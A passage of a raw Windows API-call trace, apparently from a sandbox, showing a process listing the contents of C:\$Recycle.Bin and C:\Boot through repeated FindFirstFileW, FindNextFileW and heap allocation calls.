ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45ef6ee0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x45ef6ee0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="windows", cAlternateFileName="")) returned 0 [0063.479] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.479] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff60) returned 1 [0063.479] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0063.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0063.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040000 [0063.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x88) returned 0x2034d48 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="s-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0063.480] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.480] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20affc0) returned 1 [0063.480] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040010) returned 1 [0063.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x41a90af0, ftLastAccessTime.dwHighDateTime=0x1d75d2a, ftLastWriteTime.dwLowDateTime=0xcee31260, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="BCD", cAlternateFileName="")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xcee0b100, ftLastWriteTime.dwHighDateTime=0x1d75d36, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0063.480] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0063.480] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040010 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x203ff60 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400a0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034dd8 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400b0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034e08 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400c0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034e38 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="en-US", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400d0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034e68 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400e0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034e98 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20400f0 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034ec8 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040100 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034ef8 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040110 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x2034f28 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040120 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af628 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040130 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af658 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040140 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af688 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040150 [0063.481] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af6b8 [0063.481] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040160 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af6e8 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040170 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af718 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040180 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af748 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040190 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af778 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401a0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af7a8 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401b0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af7d8 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401c0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af808 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401d0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af838 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401e0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af868 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x20401f0 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af898 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x8) returned 0x2040200 [0063.482] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x26) returned 0x20af8c8 [0063.482] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, 